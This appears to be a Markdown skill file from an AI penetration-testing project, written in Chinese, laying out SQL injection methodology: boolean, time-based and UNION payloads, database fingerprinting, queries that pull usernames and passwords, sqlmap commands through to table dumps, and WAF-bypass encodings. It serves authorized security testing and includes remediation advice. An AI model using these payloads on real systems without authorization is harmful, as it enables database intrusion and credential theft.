mirror of
https://github.com/Ed1s0nZ/CyberStrikeAI.git
synced 2026-05-07 10:06:41 +02:00
102 lines
2.7 KiB
Markdown
102 lines
2.7 KiB
Markdown
---
|
||
name: sql-injection-testing
|
||
description: SQL注入测试的专业技能和方法论
|
||
version: 1.0.0
|
||
---
|
||
|
||
# SQL注入测试技能
|
||
|
||
## 概述
|
||
|
||
SQL注入是一种常见且危险的Web应用漏洞。本技能提供了系统化的SQL注入测试方法、检测技术和利用策略。
|
||
|
||
## 测试方法
|
||
|
||
### 1. 参数识别
|
||
- 识别所有用户输入点:URL参数、POST数据、HTTP头、Cookie等
|
||
- 重点关注:id、search、filter、sort等参数
|
||
- 使用Burp Suite或类似工具拦截和修改请求
|
||
|
||
### 2. 基础检测
|
||
- 单引号测试:`'` - 查看是否出现SQL错误
|
||
- 布尔盲注:`' AND '1'='1` vs `' AND '1'='2`
|
||
- 时间盲注:`' AND SLEEP(5)--`
|
||
- 联合查询:`' UNION SELECT NULL--`
|
||
|
||
### 3. 数据库识别
|
||
- MySQL:`' AND @@version LIKE '%mysql%'--`
|
||
- PostgreSQL:`' AND version() LIKE '%PostgreSQL%'--`
|
||
- MSSQL:`' AND @@version LIKE '%Microsoft%'--`
|
||
- Oracle:`' AND (SELECT banner FROM v$version WHERE rownum=1) LIKE '%Oracle%'--`
|
||
|
||
### 4. 信息提取
|
||
- 数据库名:`' UNION SELECT database()--`
|
||
- 表名:`' UNION SELECT table_name FROM information_schema.tables--`
|
||
- 列名:`' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--`
|
||
- 数据提取:`' UNION SELECT username,password FROM users--`
|
||
|
||
## 工具使用
|
||
|
||
### sqlmap
|
||
```bash
|
||
# 基础扫描
|
||
sqlmap -u "http://target.com/page?id=1"
|
||
|
||
# 指定参数
|
||
sqlmap -u "http://target.com/page" --data="id=1" --method=POST
|
||
|
||
# 指定数据库类型
|
||
sqlmap -u "http://target.com/page?id=1" --dbms=mysql
|
||
|
||
# 获取数据库列表
|
||
sqlmap -u "http://target.com/page?id=1" --dbs
|
||
|
||
# 获取表
|
||
sqlmap -u "http://target.com/page?id=1" -D database_name --tables
|
||
|
||
# 获取数据
|
||
sqlmap -u "http://target.com/page?id=1" -D database_name -T users --dump
|
||
```
|
||
|
||
### 手动测试
|
||
- 使用Burp Suite的Repeater模块
|
||
- 使用浏览器开发者工具
|
||
- 编写Python脚本自动化测试
|
||
|
||
## 绕过技术
|
||
|
||
### WAF绕过
|
||
- 编码绕过:URL编码、Unicode编码、十六进制编码
|
||
- 注释绕过:`/**/`, `--`, `#`
|
||
- 大小写混合:`SeLeCt`, `UnIoN`
|
||
- 空格替换:`/**/`, `+`, `%09`(Tab), `%0A`(换行)
|
||
|
||
### 示例
|
||
```
|
||
原始:' UNION SELECT NULL--
|
||
绕过1:'/**/UNION/**/SELECT/**/NULL--
|
||
绕过2:'%55nion%20select%20null--
|
||
绕过3:'/*!UNION*//*!SELECT*/null--
|
||
```
|
||
|
||
## 验证和报告
|
||
|
||
### 验证步骤
|
||
1. 确认可以执行SQL语句
|
||
2. 提取数据库信息验证
|
||
3. 评估影响范围(数据泄露、权限提升等)
|
||
4. 记录完整的POC(请求/响应)
|
||
|
||
### 报告要点
|
||
- 漏洞位置和参数
|
||
- 影响的数据和系统
|
||
- 完整的利用步骤
|
||
- 修复建议(参数化查询、输入验证等)
|
||
|
||
## 注意事项
|
||
|
||
- 仅在授权测试环境中进行
|
||
- 避免对生产数据造成破坏
|
||
- 谨慎使用DROP、DELETE等危险操作
|
||
- 记录所有测试步骤以便复现
|